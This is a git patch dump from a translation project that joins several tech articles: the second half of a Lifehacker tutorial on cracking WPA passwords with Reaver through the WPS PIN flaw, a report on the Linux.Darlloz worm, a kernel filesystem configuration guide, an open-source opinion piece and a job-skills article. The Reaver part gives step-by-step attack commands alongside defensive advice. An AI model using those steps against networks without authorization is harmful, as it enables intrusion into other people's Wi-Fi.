wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that. + +**Find your wireless card:** Inside Terminal, type: + + iwconfig + +Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named `wlan0`, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different. + +![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) + +**Put your wireless card into monitor mode**: Assuming your wireless card's interface name is `wlan0`, execute the following command to put your wireless card into monitor mode: + + airmon-ng start wlan0 + +This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be `mon0`, like in the screenshot below. Make note of that. + +![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) + +**Find the BSSID of the router you want to crack**: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command: + + airodump-ng wlan0 + +(Note: If `airodump-ng wlan0` doesn't work for you, you may want to try the monitor interface instead—e.g., `airodump-ng mon0`.) + +You'll see a list of the wireless networks in range—it'll look something like the screenshot below: + +![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) + +When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our [previous guide to cracking WEP passwords][7].) + +Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver. + +#### Step 4: Crack a Network's WPA Password with Reaver #### + +Now execute the following command in the Terminal, replacing `bssid` and moninterface with the BSSID and monitor interface and you copied down above: + + reaver -i moninterface -b bssid -vv + +For example, if your monitor interface was `mon0` like mine, and your BSSID was `8D:AE:9D:65:1F:B2` (a BSSID I just made up), your command would look like: + + reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv + +Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this: + +![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) + +**A few important factors to consider**: Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through. + +Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything). + +### How Reaver Works ### + +Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password. + +Read more details about the vulnerability at [Sean Gallagher's excellent post on Ars Technica][8]. + +### How to Protect Yourself Against Reaver Attacks ### + +Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher [points out as Ars][9], even with WPS manually turned off through his router's settings, Reaver was still able to crack his password. + +> In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable. + +So that's kind of a bummer. You may still want to try disabling WPS on your router if you can, and test it against Reaver to see if it helps. + +You could also set up MAC address filtering on your router (which only allows specifically whitelisted devices to connect to your network), but a sufficiently savvy hacker could detect the MAC address of a whitelisted device and use MAC address spoofing to imitate that computer. + +Double bummer. So what will work? + +I have the open-source router firmware [DD-WRT][10] installed on my router and I was unable to use Reaver to crack its password. As it turns out, [DD-WRT does not support WPS][11], so there's yet another reason to love the free router-booster. If that's got you interested in DD-WRT, check their [supported devices list][12] to see if your router's supported. It's a good security upgrade, and DD-WRT can also do cool things like [monitor your internet usage][13], [set up a network hard drive][14], act as a [whole-house ad blocker][15], [boost the range of your Wi-Fi network][16], and more. It essentially [turns your $60 router into a $600 router][17]. + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[2]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 +[4]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[5]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[6]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack +[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2011%2F12%2Fresearchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[9]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Farstechnica.com%2Fbusiness%2Fnews%2F2012%2F01%2Fhands-on-hacking-wifi-protected-setup-with-reaver.ars&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[10]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[11]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2Fissues%2Fdetail%3Fid%3D44&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[12]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fdd-wrt.com%2Fwiki%2Findex.php%2FSupported_Devices&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[13]:http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap +[14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt +[15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt +[16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt +[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router \ No newline at end of file From 39dd0edf892e3f2ae2f91412d3b4141136d0fd8a Mon Sep 17 00:00:00 2001 From: DeadFire Date: Thu, 28 Nov 2013 10:47:41 +0800 Subject: [PATCH 275/402] =?UTF-8?q?20121128-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...

The vulnerability is tracked as CVE-2012-1823 and was patched in PHP 5.4.3 and PHP 5.3.13 in May 2012. + +The new worm, which was named Linux.Darlloz, is based on proof-of-concept code released in late October, the Symantec researchers said Wednesday in a [blog post][1]. + +"Upon execution, the worm generates IP [Internet Protocol] addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability," the Symantec researchers explained. "If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target." + +The only variant seen to be spreading so far targets x86 systems, because the malicious binary downloaded from the attacker's server is in ELF (Executable and Linkable Format) format for Intel architectures. + +However, the Symantec researchers claim the attacker also hosts variants of the worm for other architectures including ARM, PPC, MIPS and MIPSEL. + +These architectures are used in embedded devices like home routers, IP cameras, set-top boxes and many others. + +"The attacker is apparently trying to maximize the infection opportunity by expanding coverage to any devices running on Linux," the Symantec researchers said. "However, we have not confirmed attacks against non-PC devices yet." + +The firmware of many embedded devices is based on some type of Linux and includes a Web server with PHP for the Web-based administration interface. These kinds of devices might be easier to compromise than Linux PCs or servers because they don't receive updates very often. + +Patching vulnerabilities in embedded devices has never been an easy task. Many vendors don't issue regular updates and when they do, users are often not properly informed about the security issues fixed in those updates. + +In addition, installing an update on embedded devices requires more work and technical knowledge than updating regular software installed on a computer. Users have to know where the updates are published, download them manually and then upload them to their devices through a Web-based administration interface. + +"Many users may not be aware that they are using vulnerable devices in their homes or offices," the Symantec researchers said. "Another issue we could face is that even if users notice vulnerable devices, no updates have been provided to some products by the vendor, because of outdated technology or hardware limitations, such as not having enough memory or a CPU that is too slow to support new versions of the software." + +To protect their devices from the worm, users are advised to verify if those devices run the latest available firmware version, update the firmware if needed, set up strong administration passwords and block HTTP POST requests to -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4, either from the gateway firewall or on each individual device if possible, the Symantec researchers said. + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices \ No newline at end of file From 492d5ddebb28328c768cbded564e9edfc1c5a5f1 Mon Sep 17 00:00:00 2001 From: geekpi Date: Thu, 28 Nov 2013 02:50:53 +0000 Subject: [PATCH 276/402] [Translated] 23 The Linux Kernel--Configuring the Kernel Part 19 --- ...

We are getting closer to the end of the configuration process. In this article, we will discuss firmware drivers and then the filesystem drivers. - -The first driver in this category is for finding the boot-disk (BIOS Enhanced Disk Drive calls determine boot disk). Sometimes, Linux does not know which drive is the bootable drive. This driver allows the kernel to ask the BIOS. Linux then stores the information on sysfs. Linux needs to know this for setting up bootloaders. - -Even if BIOS EDD services are compiled in the kernel, this option can set such services to be inactive by default (Sets default behavior for EDD detection to off ). EDD stands for Enhanced Disk Drive. - -When using kexec to load a different kernel, performance can be increased by having the firmware provide a memory map (Add firmware-provided memory map to sysfs). - -The "Dell Systems Management Base Driver" gives the Linux kernel better control of the Dell hardware via the sysfs interface. - -The hardware's information can be accessed by the software via /sys/class/dmi/id/ with this driver enabled (Export DMI identification via sysfs to userspace). DMI stands for Desktop Management Interface. The DMI manages the components of the hardware and can access the hardware's data. The structure of the data in the BIOS and hardware is regulated by the System Management BIOS (SMBIOS) specification. - -The raw data tables from the DMI can be accessed with this driver (DMI table support in sysfs). - -To boot from an iSCSI driver, enable this driver (iSCSI Boot Firmware Table Attributes). - -The last firmware driver is a set of "Google Firmware Drivers". These are drivers for Google-specific hardware. Do not enable this driver unless you work for Google and need to use Linux on such hardware or if you are making a Linux kernel for a computer you stole from Google. - -Next, we can configure the file system support of the kernel. - -The "Second extended fs support" driver provides the EXT2 filesystem. [http://www.linux.org/threads/ext-file-system.4365/][1] - -![](http://www.linux.org/attachments/kernel_19-png.627/) - -The "Ext2 extended attributes" offers the ability to use extra metadata not natively supported by the filesystem. - -The "Ext2 POSIX Access Control Lists" driver adds additional permission schemes not native to EXT2. - -The "Ext2 Security Labels" enhances the security provided by SElinux. - -Enabling "Ext2 execute in place support" allows executables to be executed in the current location without being executed using the paged cache. - -The EXT3 filesystem is offered by this driver (Ext3 journaling file system support). [http://www.linux.org/threads/ext-file-system.4365/][2] - -The "Default to 'data=ordered' in ext3" driver sets the data ordering mode to "Ordered". This deals with the way the journaling and writing work. Data ordering is explained in this article - [http://www.linux.org/threads/journal-file-system.4136/][3] - -The "Ext3 extended attributes" offers the ability to use extra metadata not natively supported by the filesystem. Again, the following EXT3 drivers/features are the same as for EXT2 - "Ext3 POSIX Access Control Lists" and "Ext3 Security Labels". Also, the same is true for the following EXT4 drivers/features - "Ext4 POSIX Access Control Lists", "Ext4 Security Labels", and "EXT4 debugging support". - -Journal Block Device debugging is supported by EXT3 (JBD debugging support) and EXT4 (JBD2 debugging support). - -The next driver offers the Reiser filesystem (Reiserfs support). [http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/][4] - -Debugging exists for the Reiser filesystem (Enable reiserfs debug mode). - -The kernel can store ReiserFS statistics in /proc/fs/reiserfs (Stats in /proc/fs/reiserfs). - -The following Reiser drivers/features are the same as the ones for EXT2/3/4 - "ReiserFS extended attributes", "ReiserFS POSIX Access Control Lists", and "ReiserFS Security Labels". - -JFS is also supported by the Linux kernel and includes various features - "JFS filesystem support", "JFS POSIX Access Control Lists", "JFS Security Labels", "JFS debugging", and "JFS statistics". [http://www.linux.org/threads/journaled-file-system-jfs.4404/][5] - -Again, XFS is supported with drivers/features that can be enabled - "XFS filesystem support", "XFS Quota support", "XFS POSIX ACL support", "XFS Realtime subvolume support", and "XFS Debugging support". [http://www.linux.org/threads/xfs-file-system.4364/][6] - -The Global FileSystem 2 is supported by the Linux kernel (GFS2 file system support). This filesystem is used to share storage in a cluster. - -The "GFS2 DLM locking" driver offers a distributed lock manager (DLM) for GFS2. - -The Oracle Cluster FileSystem 2 is supported by the Linux kernel (OCFS2 file system support). This filesystem is used to share storage in a cluster. - -The "O2CB Kernelspace Clustering" driver offers various services for the OCFS2 filesystem. - -The "OCFS2 Userspace Clustering" driver allows the cluster stack to execute in userspace. - -The "OCFS2 statistics" driver allows the user to get statistics concerning the filesystem. - -Like with most of the Linux kernel, the OCFS2 offers logging (OCFS2 logging support). This may be used to watch for errors or for debugging purposes. - -The "OCFS2 expensive checks" driver offers storage consistency checks at the cost of performance. Some Linux users recommend only enabling this feature for debugging purposes. - -The kernel also contains the new B-Tree FileSystem; this driver offers the disk formatter (Btrfs filesystem Unstable disk format). BTRFS is still in development and is planned to one day become as popular or more popular than EXT4. [http://www.linux.org/threads/b-tree-file-system-btrfs.4430/][7] - -The "Btrfs POSIX Access Control Lists" driver adds additional permission schemes not native to BTRFS. - -Next, there is a BTRFS check tool (Btrfs with integrity check tool compiled in (DANGEROUS)). Since, BTRFS is a newly developing filesystem, most of the software associated with it are unstable. - -The NIL-FileSystem is also supported by Linux (NILFS2 file system support). [http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/][8] - -To support the flock() system call used by some filesystems, enable this driver (Enable POSIX file locking API). Disabling this driver will reduce the kernel size by about eleven kilobytes. The driver provides file-locking. File-locking is the process of allowing one process to read a file at a time. This is commonly used with network filesystems like NFS. - -The "Dnotify support" driver is a legacy filesystem notification system that informs the userspace of events on the file system. One use of this and the successor notifications software is to monitor the filesystem for applications. Certain applications tell this daemon what events to watch. Otherwise, each userspace application would need to complete this task themselves. - -Remember, Dnotify is a legacy system, so what is the new notification system? It is Inotify which is provided by this driver (Inotify support for userspace). - -An alternative notification system is fanotify (Filesystem wide access notification). Fanotify is the same as Inotify, but fanotify relays more information to the userspace than Inotify. - -Fanotify can check permissions with this driver enabled (fanotify permissions checking). - -For systems that need to divide the storage space by user will want "Quota support". [http://www.linux.org/threads/atomic-disk-quotas.4277/][9] - -The following driver allows disk quota warnings and messages to be reported through netlink (Report quota messages through netlink interface). Netlink is a socket interface on the userspace that communicates with the kernel. - -Quota messages can also be sent to a console (Print quota warnings to console (OBSOLETE)). - -This driver allows the quota system to perform extra sanity checks (Additional quota sanity checks). In computer technology, a sanity check is the process of checking for errors that may be due to poor programming. The files and output are inspected to ensure the data is what it should be and not structured in some odd fashion. - -Some old system use the old quota system but want to retain the old quota system when upgrading to a newer kernel. This is easily solved by enabling this driver (Old quota format support). Many readers may be wondering why someone would want to keep the old quota system instead of upgrading. Well, imagine being the manager of the IT department of a very large corporation that has many servers running very important tasks. Would you want to create and configure a new (and possibly large) quota system when you can continue using the one that works well? Generally, with computers, follow the principle - If it is not broken or will not cause security issues, do not fix it. - -The newer quota system supports 32-bit UIDs and GIDs with this driver (Quota format vfsv0 and vfsv1 support). - -To automatically mount remote storage units, enable this driver (Kernel automounter version 4 support). - -FUSE filesystems are supported by this driver (FUSE (Filesystem in Userspace) support). Filesystem in Userspace (FUSE) allows any user to create their own filesystem and utilize it in userspace. - -A special extension for FUSE can be used to utilize character devices in userspace (Character device in Userspace support). - -In the next article, we will discuss caches, optical disc filesystems, FAT32 on Linux, and other interesting filesystem topics.

But do developers sometimes take it too far?** + +![](http://readwrite.com/files/opencola_wikipedia.jpg) + +Developers can be a fickle bunch. Gifted with mountains of free, open-source code of ever-improving quality, some developers can’t help but complain that there’s not more, and even more free, software. But the problem often isn't the code itself, but poorly calibrated expectations and scanty training. + +### What? Me Pay? ### + +One sometimes unrealistic expectation is that software should be free. All of it. + +So, for example, we have [one young developer berating nginx][1] for building “admittedly amazing software” but then having the audacity to charge for it. + +No, really. Those nginx people are trying to make money by writing software that people want. Can you believe the gall? + +Actually, his problem is more nuanced than this. Despite electing not to use Apache httpd, the Hip Young Startup blog author complains that nginx "took a feature that Apache httpd has had literally forever and put it behind a pay wall." It's unclear why he doesn't just use Apache to solve his problem, given that he also says "the performance difference between nginx and httpd in this scenario is negligible." + +Or maybe he could fix nginx himself, given that, by his own admission, it's "trivial" to make the changes himself to get around nginx's attempts to sustain product development by charging for some features. The problem, as he acknowledges, is that he "shouldn’t have to do any of this [crap]." + +In other words, the world (or nginx) owes this developer a living. Who knew? + +Let's be clear: one of the ways open source succeeds is by dramatically lowering the bar to adoption. Charging money, even a negligible fee, can hinder that adoption. But getting uppity about the primary developer of an open-source project charging money for value? As programmer Brendan Loudermilk ([@bloudermilk][2]) [tells][3] the Hip Young Startup blogger, "You could always pay for and support the software that serves as a core dependency of your app." + +Imagine that. + +### Documentation? Of Course I Didn’t Read The Documentation! ### + +Then there are the countless others who take to Hacker News to complain about software they often don’t understand, quite often because they haven’t bothered to read the documentation. I completely get that great software should be approachable, and great products, generally, should be somewhat self-explanatory. + +But much of the best open-source software can be complex to run, at least, at scale. If the software isn't working for someone, it's not obvious that the software is the problem. Vlad Mihalcea, founder of the Struts open-source framework, nails this, [arguing][4] that “if there is someone to blame, it’s usually us” as much of the available open-source software tends to be high-quality code. + +What it isn’t, he goes on to argue, is a free lunch in terms of a learning curve. Any software, whether open source or proprietary, requires some investment in learning how to be productive with it. As he notes of Hibernate and other open-source technologies, “If you want to employ them [successfully], be prepared to learn a lot. There is no other way.” + +This won’t resonate with the hacker crowd whose first instinct is to complain when software doesn’t work the way they want, even if it wasn’t designed to do what they want it to do. But it’s true, all the same. + +### Healthcare.gov Vs. Gov.UK ### + +Just look at the Healthcare.gov debacle for proof. Recently NoSQL database vendor MarkLogic has been [taking bullets][5] over its alleged role in Healthcare.gov’s many technical problems. [Some have gone so far as to argue][6] that NoSQL databases, in general, are faulty because of the Healthcare.gov debacle. + +This is stupid. + +MarkLogic is a fine database. While not perfect, it’s silly to blame Healthcare.gov’s problems on this legacy database. Code isn’t the primary problem. + +As [I’ve argued][7], Healthcare.gov’s problems aren’t really about code, but instead about process. For proof, look no further than Healthcare.gov’s British peer, Gov.UK, [which credits NoSQL technologies][8] as a significant reasons for its success. + +The difference isn’t in the code the two websites used, but rather their respective approaches: Gov.UK is iterative, agile. Healthcare.gov is top-down, waterfall. + +### A Poor Craftsman Blames Her Tools ### + +Open source invites criticism by laying bare its strengths and weaknesses in a way proprietary software never did. Developers today have a level of accessibility to the code they use that previous generations of developers lacked, with a megaphone (the Internet) that allows them to broadcast complaints about that code. + +But let’s not lose sight of just how blessed we are to have this code, or forget our obligation to apply it appropriately in order to be successful. In other words, read the documentation before you complain that open-source software doesn’t “work.” More often than not, it works just fine, but not for the ill-conceived purpose you have in mind. + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2013/11/26/are-open-source-developers-too-demanding#awesm=~ooy2qPfuR2PvIx + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/%E2%80%9C +[2]:https://twitter.com/bloudermilk +[3]:http://www.hipyoungstartup.com/2013/11/we-should-ditch-nginx/#comment-17 +[4]:http://readwrite.com/2013/11/26/%E2%80%9Chttp://java.dzone.com/articles/why-i-never-blame-open-source%E2%80%9D +[5]:http://gigaom.com/2013/11/25/how-the-use-of-a-nosql-database-played-a-role-in-the-healthcare-gov-snafu/ +[6]:http://developers.slashdot.org/story/13/11/24/1437203/nyt-healthcaregov-project-chaos-due-partly-to-unorthodox-database-choice +[7]:http://readwrite.com/2013/11/04/sorry-open-source-isnt-the-panacea-for-healthcaregov#awesm=~oojDQ8fiVXrjGP +[8]:http://digital.cabinetoffice.gov.uk/colophon-beta/ \ No newline at end of file diff --git a/sources/Insights into top 3 IT skill groups in highest demand.md b/sources/Insights into top 3 IT skill groups in highest demand.md new file mode 100644 index 0000000000..e4842bcb5c --- /dev/null +++ b/sources/Insights into top 3 IT skill groups in highest demand.md @@ -0,0 +1,61 @@ +Insights into top 3 IT skill groups in highest demand +================================================================================ +![](http://www.linuxcareer.com/images/linux_it_skills_watch.png) + +According to our [IT skill sets][1] research, IT skills required by employers of Linux talent can be classified into relatively independent groups. This article focuses on the top three groups of IT skills that were in the highest demand in the last quarter (Jul-Sep 2013) and refer to job advertisements in selected countries, including USA. It turns out that these three groups of IT skills can be linked with Linux related job categories. + +It seems that in the last quarter Embedded Devices Developers related skills were in the highest demand by employers of Linux professionals. The second and third skill groups refer to Virtualization Engineering and LAMP Administrator job opportunities, respectively. This article discusses skill requirements for these three types of job listings and provides insights into the dependency structure of pairs of IT skills within the analyzed three groups of skills. + +> If you have not read our [IT Skill Sets][1] article it is recommended to familiarize yourself with this article before you start reading the content below. This article is based on the material presented previously in [IT Skill Sets][1], which explains in detail the methodology used in this study. + +### October 2013 update to IT skills classification ### + +![](http://www.linuxcareer.com/images/percentage_of_linux_job_ads_linked_with_corresponding_skill_groups.png) + +In the IT skill sets article, LinuxCareer.com analyzed the Linux job listings for the period between May and the end of June 2013. We have brought this classification up to date by considering the period of July until the end of September 2013. The percentage of Linux job ads corresponding to ten relatively independent groups of IT skills is displayed in the above bar chart[1]. The following link to the [IT Classification][2] diagram shows how this bar chart was devised based on the classifications. The top three IT skill groups in highest demand are: Embedded Devices Developers with 27% of Linux job market share; Virtualization Engineers with 20% of Linux job market share; and LAMP Administrators with 12% of Linux job market share. In the next three sections of this article we will focus on the identified top 3 IT skill groups and discuss in detail relationships between pairs of skills. For instance, MySQL and PHP are strongly linked and usually required in tandem by employers. Note also that knowledge of Linux is required in every job advertisement taken into account in the study conducted by LinuxCareer.com. + +### Embedded Devices Developers and Programmers ### + +The first set of skills in the highest demand are skills relevant to Embedded Devices Developers and Programmers. Dependency chart[2] below shows more detail pertaining to relationships between pairs of skills. Specifically, it shows which pairs of skills are most likely to appear together in Linux related job advertisements. For instance, Embedded links strongly to C/C++/C#, which is visualized in the graph by either darker shade of a rectangle in the lower part of the graph or larger portion of the corresponding circles shaded in the upper portion of the graph. + +In general, this group of skills can be further split into three segments. These are: + +1. **Android, Embedded, C/C++/C# and Java**. This is the core of the skills you need to know if you would like to work in development of embedded devices. It is possible that either C/C++/C# or Java is required by employers, since Java is based to some extend on C/C++/C#. If you have a look at the October’s IT Skills Watch, Java leads as a programming language with the score of 9513 compared with the C/C++/C# score of 5403. Therefore, in general, if you stand before a choice between mastering of C/C++/C# or Java, Java seems to be a better choice. However, according to the graph below, C/C++/C# seems to appear more frequently in the advertisements relevant to Embedded devices. This suggests that, even though Java gets a higher general score in IT Skills Watch, mastering of C/C++/C# rather than Java is required for Embedded Devices Developer positions. +1.** Python, Perl and Bash**. These set of skills are a complementary set of programming and scripting skills. Perl and Python seem to appear often together in job advertisements, however, it is reasonable to assume that these two skills are required alternatively. +1. **Git, Subversion and Jira**. These skills pertain to source code management, debugging and project management. Some knowledge of these skills is certainly an advantage to programming related projects. Currently, the majority of open source development projects and a large number of corporate projects use such software to manage their source code. + +![](http://www.linuxcareer.com/images/embedded_devices_development_skills_demand_dependency.png) + +### Virtualization Engineers including skills related to data storage and management ### + +The second group of skills that are currently in demand are the group of skills relating to job advertisements relevant to Virtualization Engineering job opportunities as illustrated in the dependency chart[2] below. This group can be further divided into two segments. The first segment of skills is Redhat, VMware, vSphere, ESX/ESXi, XenServer and Citrix. These skills are paramount for Virtualization Engineering job opportunities. The second segment of skills are skills relevant to Unix Systems, Data Storage and Management. It appears that these two segments are closely related. It is not a surprise that VMware comes together with ESX/ESXi and vSphere since ESX/ESXi is a computer virtualization product offered by VMware and vSphere is VMware’s cloud computing virtualization operating system. It is also interesting that Redhat has been grouped with VMware and Citrix products. The strong relation of Solaris and AIX could be a consequence of the fact that they are both proprietary Unix Systems and possibly knowledge of either one of them is sufficient. + +![](http://www.linuxcareer.com/images/virtualization_engineering_skills_demand_dependency.png) + +### LAMP Administrators ### + +Finally, the third group of skills is the type of skills required by employers of LAMP administrators exhibited in the dependency chart[2] below. LAMP stands for Linux Apache MySQL and PHP. All these skills are a core for a LAMP administrator. This is a relatively small group of skills that can take you far in your Linux career. In particular, the strong relation of PHP and MySQL suggests that one of these skills cannot come without the other. + +![](http://www.linuxcareer.com/images/lamp_administrator_skills_demand_dependency.png) + +### Conclusion ### + +In terms of employability and groups of skills relevant to Linux professionals, this article has identified two important points. The first point shows ten groups of IT skills that were identified by clustering analysis of the most frequently appearing IT skills. The second point of this article shows that the highest demand exists for Embedded Devices and Programmers positions as indicated in the Percentage of Linux job ads linked with corresponding skill groups bar chart. This is followed by job advertisements relevant to Virtualisation Engineering positions and LAMP administrator positions. These three skill groups are core Linux related professions in the last quarter analyzed. + +### References ### + +[1] Percentage of Linux job ads linked with corresponding skill groups created by [GNU R][3].

